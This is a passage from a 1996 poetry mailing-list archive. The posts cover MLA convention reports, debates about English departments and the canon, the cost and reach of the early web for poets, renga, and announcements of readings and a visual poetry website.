and yeah sure, what of it that lots of folks in these parts are anguish profs?... i mean, that's part of *this* scene, *this* situation... one might expect it to work its way into the discussion, much as one might expect talk of emedia to proliferate around here from time to time...

just a few noninklings, as per...

best,
bset,

joe

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52. Maria Damon
Re: MLA Doings?
Wed 3 Jan 1996

---

sorry i missed u 2, david kellogg --got stuck at mlg party in one of those mla moments when there're 5 parties going on that one (I) wants to go to and one goes to the first one and can't move...i too spent much time sleeping (sick) and/or at the glorious gym attatched to the hyatt regency. hung w/ pierre and jerry a bit (by the end of the conference was referring to ben and jerry's anthology), saw a so-so panel on ethnicity, a splendid panel on theorizing 'jews'/theorizing as jews, chaired a pretty good panel on Beat writing (featuring our own La Lindberg asking the musical question "what can Black Power learn from surrealism?") and participated in an okay but overall perfunctory panel on anthologies (crack of dawn on the last day of panel), not one of my more inspired moments, apologies to all. oh well. got to plug walter lew's anthology Premonitions and mark nowak's North American Ideophonics, and give Ben and Jerry's some detailed (if somewhat critical though mostly

enthusiastic) airtime. rasula's more inspired invective drew most of the audience and respondent response, which is as it should be. got elected to the jewish cultural studies discussion group steering committee or whatever those bodies are called, saw and/or hung with buddies and/or professional inspirations charles bernstein, daniel and jonathan boyarin, biodun iginla, paula rabinowitz, john mowitt, amitava kumar, judith halberstam, carol mason, michael bibby, ronna johnson, barry watten, lisa samuels, von hallberg, golding and steve dickison (sp?), met doug messerli who grabbed my hand and kissed it and thanked me for ordering so many of his books for my courses (that was a thrill), susan schultz (at last), juliana spahr, michael boughn, lynn keller, steve evans, johanna drucker, romana huk, kali tal (at last) etc etc.

coffee house press dropped my essay from the forthcoming Bob Kaufman selected, without telling me. asked alan kornblum about it, he hemmed and hawed, but it was nice to see him anyway. feel hurt and kinda mad. there was no contract so i have no recourse, but i worked hard on revising my old kaufman piece for the book and was looking forward to a wider Beat renaissance readership than the academic crowd who might have seen it in south atlantic quarterly or in my bk. ate "naturelle cuisine" lo-cal food at the hotel restaurant excpt for one divine prime rib the size of a private yacht at the Erie Cafe and an armenian ? meal after charles and doug's reading. sorry to have missed kellog, michael greer, joe amato, marisa januzzi and more others.

nearly died with pleasure and gratitude when a grad student stopped me in the book exhibit and said, i just want to tell you how much your work means to me. told my beloved editor at UMN press, who responded, well, it hasn't translated into sales, i can tell you that.

right now radio playing dylan don't think twice it's all right, nearly split in two by that melancholy nostalgia his voice and sensitive meanness inspires, recovering from mla which also inspires a crazed yearning nostalgia for someting (community?) that never existed in the fullness which my imagination pretends. so long, y'all, i'm a thinkin and a wonderin all the way down the road, what does the new year bring, and what are we leaving anyway. maria d

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53. Charles Alexander

Re: The English Dept. of the Soul and the New World Order

Wed 3 Jan 1996

Thanks, joe amato, for a good-sense statement about how you feel about all this english/anguish. I'm not in it, but I'm all for one who wants to make it better some or any of the time. All the time would probably be too much, aspiring to that NO class consciousness that makes you want to laugh & throw up (me, too,

although sometimes I admire a "no class" consciousness, and I think very highly of the "no mind" Zen state).

But even though I agree with you there, I have to say that I like my bananas still just a touch firm, just before they begin to soften. And I like banana popsicles, always have.

> *that sd, i may as well say right upfront that i'm interested to a point in marxist style-class-based-market-economy institutional analysis--TO A POINT... past a certain, usually vulgar point i prefer to eat a peach, and wear my trousers unrolled... to be explicit just for a sec: i don't like it when folks tell me they aspire to NO class consciousness... i feel like simultaneously laughing and throwing up... and me, i like my bananas nice and yellow... it's the same with dis/agreement---seems to me there's a binary here worth getting through...*

charles

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54. **Chris Stroffolino**
Re: vitalism?
Thu 4 Jan 1996

Steve---but I've never been to england
people tell me i was born there
but i really don't remember....

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55. **Chris Stroffolino**
Re: MLA Doings?
Thu 4 Jan 1996

---

thanks for the report Maria and glad it was not totally impersonal...

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56. **Rod Smith**
Re: The English Dept. of the Soul and the New World Order
Thu 4 Jan 1996

>I want to think about what
we will do when unemployment reaches 40% and not simply >wait until it does.

Believe there are large parts of the globe where it has. NAFTA, GATT, etc. are simply extensions of this to "developed" countries. Though many of those jobs being scrambled for are 10 cents an hour, if you meet a quota.

Seems we are at a point technologically where unemployment could be a goal rather than a pox, & at a point politically where
all the goals are poxes.
 --R

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57. Stephen Galen Cope
Roberson
Thu 4 Jan 1996

I echo Aldon's comments on Roberson. Truly a beautiful book (well worth reading for the next millenium). Been hearing his voice in Hambone for some years (anywhere else?), and found it continually captivating, attuned, inexhaustible. So wonderful to have it collected...

The price I paid was $10.95 (well worth it):

...we
are right only
  to what we give birth to, anyhow,
we are correct only within
  what we create...

...

-Stephen Cope

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58. Ron Silliman
Re: WEB POETRY
Thu 4 Jan 1996

Over half of the world's population lives more than two hours travel from the nearest phone line. The book will continue to be the point of reference for at least the next 50 years, perhaps the next 100. The communications potential of this medium is real, but both utopian and dystopian claims need to be examined with great care.

Ron Silliman

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59. Ron Silliman
Re: WEB POETRY
Thu 4 Jan 1996

Thanks, Dick, for telling us what we should be discussing and the meaning of poetics. However, as to your prediction,

"Frankly, I dislike the web-but I must live with it. As for access, it will be even more accessible as web machines become more common-Sun is the only one making and selling one now, but every manufacturer has one "in the tube" (literally). Those will cost ca. US$550-an amount comparable to a video player here and presumably the same, comparably, in the UK."

You heard it here first. That's an idea that will be as popular as the Edsel. Like re-inventing the monograph record. Also, that's about 3 times the cost of a decent video player. I wonder just how many stupid consumers there are out there and my guess is not that many. Remember, all the new developments get adopted in the home first. One year ago, the Pentium was a chip sold 95% of the time to home users. Windows 95 is a home OS right now. It will begin to reach critical mass in the corporate environment maybe a year from now.

But then Sun was the company that invented the program Java originally to allow for remote control of coffee pots (10 years ago, in fact). Talk about the law of unintended consequences....

Now that's poetics,

Ron

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60. Gale Nelson
Re: WEB POETRY
Thu 4 Jan 1996

Michael Boughn:

Tried to write you directly, but must have gotten your electronic address 'wrong' and had already shredded the document. Apologies to all others. I don't know if Al Cook is on the Poetics List. If he is, he'll likely try to contact you directly. If he's not on the list, here are two methods for contact:

[redacted]

Albert Cook, Professor Emeritus
Box E
Brown University
Providence RI 02912

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61. Ken Edwards

WEB POETRY

Thu 4 Jan 1996

On Wed 3 Jan Peter Landers wrote: "I know it is a kind of prejudice, but I don't think anyone who uses CompuServe with a slow modem can be considered an authority on the cost of using the internet. Please do not misread this as a flame. I feel an intense concern about the scams that are going down around the internet.

Ken, you are being robbed!

Pete Landers
[redacted]"

Gee, I'm so embarrassed to be caught out using non state of the art kit. No wonder I can't get dates with girls.

Actually I have a 14,400-thingy modem which was pretty much state of the art when I bought it but I suppose is rubbish now. In fact, I'm fairly happy with CompuServe, using it mostly for e-mail, and I don't consider the $10 monthly minimum charge (which I rarely exceed) too bad. It has a nice easy Macintosh interface which suits technological dimbos like me. But the point I was making was: anyone wanting to get on the internet from scratch has to invest in a decent computer, software, modem, printer and subscription to some kind of online service provider. That's thousands of pounds/dollars worth of investment - and it's not that easy to decide what to get and how to set it up when you get it. In my case, I already had the computer and printer, because I need them for my work - but I have plenty of friends who don't even have a computer. (Others, including many on this list, use the facilities at their place of work, eg college.) As for my parents and their generation... forget it, the whole thing's a foreign country to them.

I'm neither an "authority" on the internet nor a technophobe - just living in the real world!

Cheers,
Ken "don't send me no 3-meg graphics" Edwards

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62. Joseph Zitt
Re: MLA Doings?
Thu 4 Jan 1996

On 3 Jan 96 at 16:00, David Kellogg wrote:

> *Smithson, Scalapino, and the Poetics of Aeolotropy." I would love a copy.*

"Aeolotropy"? The tendency of poets to gravitate to America Online? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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63. Joseph Zitt
Re: question rerenga
Thu 4 Jan 1996

On 2 Jan 96 at 21:50, Jordan Davis wrote:

> *Just wondering if the once or twice bruited (sp?)*
> *renga hypertext ever got started?*

Well, I haven't gotten off my posterior and done it. I should look at doing so (since I suggested it) if no one else is going to take up da gauntlet.

Anyone know the range of dates/digests in which the renga flourished on this list, off hand? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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64. Joseph Zitt
Re: Let's Keep it to Business
Thu 4 Jan 1996

On 3 Jan 96 at 11:11, Bill Luoma wrote:

> *But this is a PUBLIC place, not a private one, and as such some things are inappropriate to be said here. If something you are thinking about writing would offend someone (anyone) then it does not belong in this space. Likewise for personal agenda's or political commentaries. Let's reserve this space for appropriate business topics that may be of interest to everyone.*

Business? Which business? Academics? The construction of books? Theory? Poetry performance? Grocery stores?

And I can think of little that can be send about anything that would not have any chance of offending somebody. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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65. Alan Sondheim

Re: WEB POETRY

Thu 4 Jan 1996

Well, when I began moderating I was using an XT two years ago, running at 4.33 mhz with 1 megabyte ram and a 20 megabyte hard-drive; the modem was 9600. The point is that if you use Unix shell or other text-based inter- faces, it costs very little (the XT was $100 and the on-line cost was $15 or so a month). This is an important point because for example I'm working with conferencing people at this point - and the Web _is_ basically expensive, awkward, non-interactive in spite of Java, and requires high-speed hookup, etc. Which separates people even more. The reasonable temporarly solution is lowest common denominator, unless we're restricting ourselves to the upper middle classes - look at Prodigy or Web demographics and you'll see what I mean. Don't forget that even on the Web, Lynx is the second most popular browser next to Netscape.

There are areas in which hookup, if possible at all, is at 300 baud during certain (somewhat flickering, random) hours of the day.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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66. Landers

Re: The Anguish Dept.

Thu 4 Jan 1996

Joe Amato wrote:
>and yeah sure, what of it that lots of folks in these parts are anguish
>profs?... i mean, that's part of *this* scene, *this* situation... one
>might expect it to work its way into the discussion, much as one might
>expect talk of emedia to proliferate around here from time to time...

Thanks Joe! I can't stand it when people just say "Talk about something different" but don't suggest a topic.

I found I disagreed with Don Byrd (unusual) because to me it's the readers that determine the canon. College teachers can only get people to take courses that they want to take, and libraries sell off books that aren't read. OTOH, I would take just about any course Byrd offered. Ever since I read his book on Olson and heard his "Dimestore" he's been one of my faves. I have him batting cleanup in my starting lineup, but I put him at third base. (He has the scars to prove it I'm sure.)

Sorry to talk about you in the third person, Don.

I'm also interested only in making "it" better, which, coincidentally, includes all of humanity reading poetry I like (and my poetry too, ((to be honest.)))

Pete Landers
[redacted]

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67. Chris Stroffolino
Re: The Anguish Dept.
Thu 4 Jan 1996

> Well, if you (Pete Landers) hate it when people say talk about something different but then fail to suggest a TOPIC,
> don't you also hate it when people say "read my poetry" and then don't post at least one poem on the list.
> Yours, Chris

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68. Kevin Killian
Re: WEB POETRY
Thu 4 Jan 1996

This is Dodie Bellamy speaking. For a change of pace in web reading, the cover story I wrote for the San Diego Reader on religious cults in San Diego is now posted at http://www.inlink.com/~rife/sdra.html

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69. Joe Amato
yes, we have no bananas...
Thu 4 Jan 1996

charles a., yes, perhaps a touch firm... i like banana popsicles too, and orange popsicles esp., remind me of summer... maria d., sorry i didn't get to meet you f2f, though i'm certain we were sharing the same space (kass and i were at the ncte and rothenberg/joris parties, unfortunately scheduled at the same time, though fun to be at both and chat with so many nice folks)...

pete l., thanx for the kind words... yknow, seems to me that though readers may make the canon (to which "which readers?"). the canonical impulse is another matter... preservation (and conservation) is one of the chief aims of traditional humanism, as i understand same... which suggests a basic reason why the academic world is in such a huff over the gradual demise of the old world disorder---many folks see such change as positively correlated with loss... similar backdrop to much of the resistance to emedia---the "loss" of print (when in fact digital technologies may represent the best way to keep alla those musty old tomes around in one form or another)...

ah well... i guess we're creatures of habit in so many ways...

best,

joe

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70. Donald J. Byrd
Re: The Anguish Dept.
Thu 4 Jan 1996

On Thu, 4 Jan 1996, Landers wrote:

> *I found I disagreed with Don Byrd (unusual) because to me it's the readers that determine the canon. College teachers can only get people to take courses that they want to take, and libraries sell off books that aren't read. OTOH,*

Good lord! what did I say, or seem to say?

It must have been my comments about keeping the archive that were misunderstood. I did not mean to imply a restrictive archive. University libraries should try to archive every thing, every zine, every tape of every poetry reading, and university faculties should mostly try to figure out how to organize the stuff in the archive for maximus use.(Teaching is the generally the wrong concept; they should lead their students on trips into the archive.)

I don't necessarily mean stuffy librarianship. My _Dimestore_ which Pete kindly mentions is an essay in how to access the archive.

It's amazing how much yatter English departments occasion on the list. Here and there one finds interesting people in them, but generally speaking English departments are dinosaurs, and most of the attempts to discover some contemporary relevancy in them have lacked all conceptual depth and, for the most part, they have lacked adequate information as well...

It seem likely to me, at this point, if there is something to be found in the archive or some new combination of things that might relieve the extremity of our condition, the last place your likely to hear about it will be in an English department. (Of course, I do not include those of us on this list who are in English departments in this blatant generalization. But it is almost certain that to the extent that someone knows something, English departments will try to prevent them from teaching it, and if they publish something that is not a rehash of the discourse of the day, English departments are likely not to recognize its value....)

When Jack Spicer talked about the English department of the soul, he surely meant that one corner of the soul that is beyond salvation.

And I say all of this without sour grapes. I mean, I have no personal grouch. The university has been generally good to me.

Don Byrd

↑ Index

71. Tom Beard

Poetry & that horrid Web

Thu 4 Jan 1996

I've just a few comments in response to some of the more sceptical posts regarding the Web, including Alan Sondheim's:

> *the Web _is_*
> *basically expensive, awkward, non-interactive in spite of Java, and*
> *requires high-speed hookup, etc. Which separates people even more. The*
> *reasonable temporarly solution is lowest common denominator, unless we're*
> *restricting ourselves to the upper middle classes - look at Prodigy or*
> *Web demographics and you'll see what I mean. Don't forget that even on*
> *the Web, Lynx is the second most popular browser next to Netscape.*

I'd suggest that, first of all, once one is talking about people with computers, let alone Net or Web access, one is already dealing with those either in a high-income bracket or with institutional resources. On the other hand, most of those institutions (such as public libraries) offering free public access to the net have been encouraged by the ease with which the technically-challenged can use the Web. Not many people without a specialist education would be interested in hacking away with Unix commands on a public terminal, but the

Web's graphical appeal has opened up the Internet to a wider range of people, especially in the arts.

I'd concede that the Web has poor interactivity in the context of conferencing, but it is already more interactive than television or print media. Methods such as Usenet or IRC are more interactive than the Web, but only if you are dealing with plain text. People with interests in visual or audio information must resort to other methods, and it's interesting that the new forms of multimedia activity (such as RealAudio & VRML) are all using the Web as a starting point. Web browsers already bring together the older Net technologies (Gopher, FTP, Telnet et al), and HTML has become such a useful and popular way of visualising the Internet that I think the Web will be at the core of any new developments.

Someone else said that the Web was boring, it was just like TV. Well, I'd admit that most of what's on the Web these days is rubbish, but then, as someone whose name escapes me at the moment said, "90% of everything is crap". And one way that the Web has it all over TV is that you can choose what you want to browse, when you want to. With one's bookmarks or homepage one can essentially weave one's own little "sub-web": the Web for me essentially consists of poetry, criticism, wine reviews, my favourite bands, art galleries, great utilities to download, hypertext fiction and philosphy. The multitude of crass adverts, dull personal pages and Doom FAQs might as well not exist, unless I have a reason to go searching for them.

The most exciting thing about the Web, I think, is global hypertext. When I write a piece of criticism for a journal, then put it on my Web pages, I do Lycos or Inktomi searches on some of the key names and phrases in the article and add hyperlinks to the best resources that I find. For example, in a review of books by the Wellington poets Dinah Hawken and James Brown, I was able to place links to information on Sappho, Ghalib, Bukowski, Laurie Anderson, Ron Silliman & Roland Barthes among others. For readers of pages that have been thoughtfully and generously hyperlinked, there _is_ a kind of interactivity: the paths that one cuts through cyberspace can be seen as creative acts.

It will take a long, long time for the majority of people to have net access, and some areas, in particular those such as literature that have been traditionally technophobic, will take longer than others. That's why there's a need for interfaces between the Web and local arts communities (for example, journals that publish print and electronic versions in parallel). There are exciting international electronic communities of artists developing, but it's dangerous to insulate oneself from more traditional communities.

Cheers,
Tom Beard.

(P.S. The Web browser that I use most often is Lynx: we are a branch office, and connect to the Internet via a slooww link to Wellington, so Mosaic etc are out of the question. The Web journal that I'm designing is being optimised for Netscape - 65% of web users use Netscape, and most others use browsers that support tables etc. For the 5% or so of us (that's the latest statistic that I've come across) using Lynx, I'm still making sure that everything is legible, even if it's not pretty. There's nothing I hate more than following a promising link to a page that is blank apart from [ISMAP] in the top left corner.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

↑ Index

72. Ron Silliman
RESTRUCTURING LANGUAGE ART
Thu 4 Jan 1996

Always thought one could do an interesting course
focused explicitly around the work of
Emerson
Blake
and Palmer

↑ Index

73. Alan Sondheim
Re: Poetry & that horrid Web
Thu 4 Jan 1996

In response I just want to point out there are a _lot_ of people with 286s or 386s out there with slow modems; these computers also seep down the economic scale - and they're really not particularly Web capable. I think the Web, VRML, etc., is divisive at the moment. A lot of areas in the world, as I pointed out, don't have high-speed modem capability, and they're completely excluded. And we can either accept de facto that the Web is for the privileged or we can try and work with Unix _and_ the Web and in fact become involved politically with the issue in a whole lot of ways.

As far as interactivity goes, yes, Netscape's great at calling up any- thing. But telnet isn't part of the Web of course; either are ftp and gopher - they're called up in Netscape through conforming URLs. And the interesting interactive clients - say MIRC, Global Chat, CuSeeMe, ThePalace, all are off-Web; they may

use the Web for addressig (as Powwow does) but they basically run their own software through the TCP/IP stack. Finally, there's also the psychological effect of constant engorgement of audio/video/clients (I've been writing a lot about this) which then ties arts and literatures into issues of _development,_ and I find that problematic; don't forget that even hypertext is mediated by corporate development - this medium is overdetermined by capital whether we like it or not.

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

↑ Index

74. Steve Carll

Welcome, my friends...

Thu 4 Jan 1996

...to a poem that never ends:

At 06:54 PM 1/4/96 -0800, Ron Silliman wrote:
>Always thought one could do an interesting course
>focused explicitly around the work of
>Emerson
>Blake
>and Palmer

↑ Index

75. Chris Stroffolino

Re: Welcome, my friends...

Thu 4 Jan 1996

> oh, you just want MANN to begin from the beginning
> in lieu of a media race(?)

↑ Index

76. Kenneth Goldsmith

Announcing New Visual Poetry Website

Fri 5 Jan 1996

Announcing A New Visual Poetry Website:

ViSuAL pOeTry at Kenny G's Homepage

Gorgeous Color & Black & White gifs & jpgs.

http://wfmu.org/~kennyg/visualpoetry/visualpoetry.html

_____ Contents:

Susan Bee from "Talespin"
Example 1
Example 2
Example 3

Henrik Drescher from "Too Much Bliss"
Example 1
Example 2
Example 3

Johanna Drucker
from "The HISTORY of the/my WOR L D"
Example 1
Example 2
Example 3

Kenneth Goldsmith & Joan La Barbara
73 Poems

Dick Higgins
i.e., or vice versa
AN ARK

Bill Luoma
200Hex
Bindfix
Frank
Pipes
Volvox

Blair Seagram
Ante Prima
Alpha B&W
Cry Me A River

_____

This site is always growing. Visit often.
Submissions accepted: [redacted]

peace,

Kenny G

==========

==========
Kenneth Goldsmith http://wfmu.org/~kennyg
[redacted]
v. [redacted]

↑ Index

77. Landers
Re: WEB POETRY
Fri 5 Jan 1996

Ken Edwards wrote:
>I'm neither an "authority" on the internet nor a technophobe - just living in
>the real world!

After some of the points other have made, maybe I'm wrong. Maybe a regular user is the best person to ask about this. It's possible that users of the major services with slower modems are more in touch with the "real" world. I spend many evening hours chatting poetry on IRC. I enjoy having an open reading going on in my kitchen. Compuserve would cost *me* too much. I shouldn't have ass- umed so much about you.

for instance:

Ron Silliman wrote:
>Over half of the world's population lives more than two hours travel
>from the nearest phone line. The book will continue to be the point of
>reference for at least the next 50 years, perhaps the next 100. The
>communications potential of this medium is real, but both utopian and
>dystopian claims need to be examined with great care.

I still think that the web is the tool I've wanted to circumnavigate the big publishers, and

look at this listserv! I am starstruck by these poets whose work I've enjoyed for years with whom I can converse and spar a little. It inspires me to write more. (Thanks, Charles.)

Peter Landers
[redacted]

↑ Index

78. Landers

Re: The Anguish Dept.

Fri 5 Jan 1996

Chris Stroffolino wrote:
> Well, if you (Pete Landers) hate it when people say talk about
> something different but then fail to suggest a TOPIC,
> don't you also hate it when people say "read my poetry" and then
> don't post at least one poem on the list.
> Yours, Chris

I'm glad you saw yourself in that mirror. Being new, I'm unsure of the protocol regarding posting poems to the list. I'm sure though, that it's ok to post when asked, and I think I was just asked so:

_____
ARREST
how long is a rest to rest ? - LZ

I over slept.

(over) I
slept.

eyes
lept
over

"Fermata"

I rest my eyes,
for which rapid
movement
(REM),
is rest
    like,
    as,
    like,
No, not like.
Exactly being undirected, alleatoric;
            a need for chance.
"Then who's
          composing it,
and how can it be said to be
music?"
      No, not, my friend,
         say "reposing."

(rest)

(now the rest of the rest)

com, -re, -dis, -im, -op, -sup-,
posit which you like,
                still,
it's a pose.

Sleep turns the
words around;
the words,
around the sleep,
turn.

I always knew
I would be
among the chosen

(tebah-pla)
and things you won't admit.
Turn a
round
    chosen
among the would be knew

Where've you been?
      for my friend,
            dance
            easel,
            dance
            easily,
        ceaselessly.
Here all the time.

(tebah-pla)
eyes lept
around the words
chosen among I
always dance
among the sleep
admit turn
things over
easily, rest,
the dance over,

I slept.

Thanks for asking!

Peter Landers
[redacted]

↑ Index

79. Landers
Re: The Anguish Dept.
Fri 5 Jan 1996

Don Byrd wrote:
>how to organize the stuff in the archive for maximus use.

Great typo! ROTFLMAO!

True, I mistook keeping the archive for determining the direction of the canon. Squared away now.

> *Here and there one finds interesting people in them, but generally speaking English departments are dinosaurs, and most of the attempts to discover some contemporary relevancy in them have lacked all conceptual depth and, for the most part, they have lacked adequate information as well...*

The best recommendations I've gotten for reading material were not from English teachers. I ask the poets I like who they like. My English teachers were good at teaching survey courses or Shakespeare, but they all thought poetry ended sometime in the twenties.

Peter Landers
[redacted]

↑ Index

80. Eryque Gleason
Re: Welcome, my friends...
Fri 5 Jan 1996

> *...to a poem that never ends:*

don't look now folks, but i think he's talking about rengaing!

↑ Index

81. Ron Silliman
Meaning(s)
Fri 5 Jan 1996

Two questions about word origins and meaning....

(1) Who first used Bests as a salutation, specifically with that "s" at the end. I've been seeing it since the mid-60s when I associated it (if those brain cells haven't been miswired) with Berkson et al, the so-called 2nd generation NY school. How far back does it go?

(2) How has the word "renga" changed in your conception of it over the past year as a result of this list?

Ron Silliman

↑ Index

82. Ward Tietz
"Direct" book/box and catalog
Fri 5 Jan 1996

A pamphlet/catalog as well as a limited edition book/box is presently available from the "Direct" one-week "Nomad" performance-installation-show that was held at the Galerie Forde and the Cinema Spoutnik in October in Geneva, Switzerland.

The event was organized by Guenther Ruch. The "Nomads" for this venue included Guenther Ruch (Germany/Switzerland), Juergen Olbrich (Germany), Jean-Noel Laszlo (France), Dougal (Scotland) and me, Ward Tietz (USA). The Nomads project was begun in 1986 by Juergen Olbrich and others as an invitational and location-specific format for artists to meet and work on projects for a limited time. Other venues have included Kassel, Germany (1986), Calgary, Canada (1988)...

These projects have primarily been an extension of the mail-art network that developed in the 1970s and 80's. While these projects have certainly not been literary in any direct sense, there has been considerable overlap into what we could call "quasi-literary" forms, most notably visual poetry, as mail art investigated a modality of language and paper-based communication that was to a large extent anti-discursive. My own interest in projects such as this have been along these lines. The often contradictory and perhaps ironic potential of the anti-discursive vis-a-vis literature is that it cannot be staged or directly formed "in" literature. It must be projected and staged outside of literature and then be reimported, but often only as a series of fragments.

The book/box (33cmx26cmx5cm) is a signed, limited edition of 49 boxes. It includes found, treated and other texts that relate to the week's activities as well as objects (eg. treated x-rays etc.). The price is 80 Swiss francs (about $70). The pamphlet, which includes descriptions of the week's activities, also functions as a catalog for the mail-art show (103 artists participated) that was part of the week's events. The pamphlet/catalog is available for 8 Swiss francs (about $7). Those interested can contact me directly.

The following is an except from one of the pages of the book/box:

"October 7, 1995

Description of two actions:

Today, October 7, 1995, we did two actions outside near the river. The first involved the use of five different letters that were cut out from old x-rays. Ten-meter lengths of film were stapled to the letters and used to dangle the letters into the river from a bridge near the gallery. Guenther had made a capital "H", I had made an "O" and Juergen and Dougal used "A"'s that Dougal had already made. I set up the camera and Colette took most of the photographs. I took a few as well...."

Happy New Year

Ward Tietz
rte de St. Cergue, 48a
CH-1260 Nyon
Switzerland

e-mail: [redacted]

e-mail: [redacted]

↑ Index

83. Mark Roberts
Re: The Anguish Dept.
Fri 5 Jan 1996

A story with a little relevance to the current discussion.

When I was an undergraduate at Sydney Uni (years and years ago) there was an active poetry society which ran regular readings on campus. More the most part these readings were lively events which blew a breath of contemporary fresh air into the ivy covered stone walls. On a few occasions, however, poets where prevented from entering the campus by the security guards on the gates for various reasons (the proper procedure for bringing a car onto campus had not been followed -ie the academic who had signed the form was not of a high enough level . Interestingly, business people driving expensive modern cars

who where going to Economics of the Business school did not seem to face the same problem as poets driving twenty year old rust buckets). On one particular occasion a fight broke out between a poet and the guard. Instead of reading to eager undergraduates the poet ended up at the local police station.

Mark

↑ Index

84. Jordan Davis
Re: Meaning (:P)
Fri 5 Jan 1996

---

thanks to the renga my hypertext link to Charles Tomlinson went cold?

Bill
Ichor Gallery 8:30 pm 127 w 26 :P

Joe Z
I think the rengs are late july-early october and then they go private
Gabrielle Welford is the privacy archivist up to a point
then we fall free (or you could ask Jorge G)

↑ Index

85. Charles Alexander
Re: Meaning(s)
Fri 5 Jan 1996

> *Two questions about word origins and meaning....*
>
> *(1) Who first used Bests as a salutation, specifically with that "s" at the end. I've been seeing it since the mid-60s when I associated it (if those brain cells haven't been miswired) with Berkson et al, the so-called 2nd generation NY school. How far back does it go?*
>
> *(2) How has the word "renga" changed in your conception of it over the past year as a result of this list?*
>
> *Ron Silliman*

Can't answer number one. As to two, as a result of this list renga still remains primarily the Japanese form it's been for a long time, and something else entirely on this list, making me wish what the list takes it for had a different name entirely. But words do migrate, so . . .

↑ Index

86. Bill Luoma
Bags
Fri 5 Jan 1996

Top of the 8th, after
four fouled off Gentry, still
2 and 2 a plastic bag
blows over home plate, Dave
Cash of the Pirates steps
  out of the box, steps
  back in, after speeding the plastic
    on its way
    with his bat, fouls
    two more off, then 3 & 2, then
infield bounce to the shortstop, out at first.

--Paul Blackburn

↑ Index

87. Herb Levy
Revised/extended Subtext reading schedule
Fri 5 Jan 1996

There've been some changes in the schedule, so here's the current menu for the ongoing Seattle reading series [redacted]:

January 18th - Mickey O'Connor & Dan Raphael

February 15 - Laynie Browne & Kathryn MacLeod

March 21 - Nico Vassilakis & Laura Feldman

All readings start at 7:30 at the Speakeasy Cafe, 2314 2nd Avenue, a couple of blocks north of the picturesque Public Market in Seattle's continuingly regentrified Belltown neighborhood. $5 donation.

Other upcoming readings of note in Seattle:

February 28 - Rosmarie Waldrop

March 12 - Robin Blaser

Both of these are part of the Rendezvous Reading series, at 8:00 pm at the New City Theater, at 11th Ave & E Olive St on Capitol Hill.

See you all there, of course.

&, if you haven't already, check out the subtext Web site:

<http://www.speakeasy.org/subtext/.

Bests

Herb

Herb Levy
[redacted]

↑ Index

88. Herb Levy
Bests (Meaning(s))
Fri 5 Jan 1996

Ron Silliman asks:

> *(1) Who first used Bests as a salutation, specifically with that "s" at the end. I've been seeing it since the mid-60s when I associated it (if those brain cells haven't been miswired) with Berkson et al, the so-called 2nd generation NY school. How far back does it go?*

As someone who affects this affectation, I can only say I got "Bests" from a friend in high school in the late 60s. She was not one of the "so-called 2nd generation" of anything, as far as I know.

It's difficult (but not impossible) to imagine this particular person reading, say, Berkson et al, back then (or now for that matter, though we aren't in touch), so there's probably an Ur-source from outside the poetry world.

Bests

Herb

Herb Levy
[redacted]

↑ Index

89. Bill Luoma
Re: Let's Keep it to Business
Fri 5 Jan 1996

Pete Landers posted a beautiful good clear aire care.

> *I'm unsure of the protocol regarding posting*

Joseph Zitt said:

> *Business? Which business? Academics?*
> *The construction of books? Theory? Poetry performance?*
> *Grocery stores?*

yes. everything. poetics.

> *And I can think of little that can be send about anything*
> *that would not have any chance of offending somebody.*

right. so poetics can be anything and this anything stands a good chance of offending someone. i interpret Dick Higgins' recent remarks to mean that we should saxifrage this space and see what it is capable of supporting.

↑ Index

90. Mark Roberts

AWOL: January Happenings 1/2

Fri 5 Jan 1996

Australian Writing On Line

JANUARY Happenings

AWOL Happenings. A monthly guide to readings, book launches, conferences and other events relating to Australian literature both within Australia and overseas. If you have any item which you would like included in future listings please contact AWOL.

AWOL is also setting up a virtual bookshop for Australian small magazines and presses. This will take the form of regular newsletters (which will be available both on the net and by mail and fax) that will pre/review new publications. These titles will then be able to be ordered by mail or fax. Associated with our Virtual Bookshop is our Sydney distribution service for small presses. Please contact us for further details if you want to distribute your publication to bookshops in Sydney.

AWOL posts are archived on the WWW at the following address http://www.anatomy.su.oz.au:80/danny/books/AWOL/ then click on Australian Writing OnLine.

How to receive AWOL postings

Internet

All AWOL postings, including the monthly Happenings list, one off posts about special events, the latest literary magazines and small press books, together with information about AWOL's Virtual Bookshop, are available free to subscribers with an internet address. Simply send a post, asking to be added to our mailing list, to [redacted].

Mail

Each month AWOL will post a hard copy of that month's Happenings list, together with a copy of all special posts, to AWOL subscribers. While we are setting up our Virtual Bookshop there will be a introductory charge of $12.50

(for six months) to cover postage and printing costs (rates will be reviewed early in 1996). Please send cheques, made payable to Rochford Press, to AWOL, PO Box 333, Concord NSW 2137 (overseas rates on application).

Fax

Subscribers in the 02 telephone area can elect to have the monthly Happenings list and special posts faxed to them for $5.00 for six months. Please send cheques, made payable to Rochford Press to AWOL, PO Box 333, Concord NSW 2137. Subscribers outside the 02 area should contact us for individual fax rates.

NSW

SYDNEY

Wednesday 24 January 1996, at 6 pm in the Dixon Room, State Library of New South Wales. Launch of Yasmine Gooneratne's new novel The Pleasures of Conquest will be launched by Michael Wilding with readings from the novel by David Ritchie, Pauline Gunawardene and David Baldwin.

Every Thursday Writers Anonymous at Tap Gallery level 1 278 Palmer Street Darlinghurst. Details phone/fax [redacted]

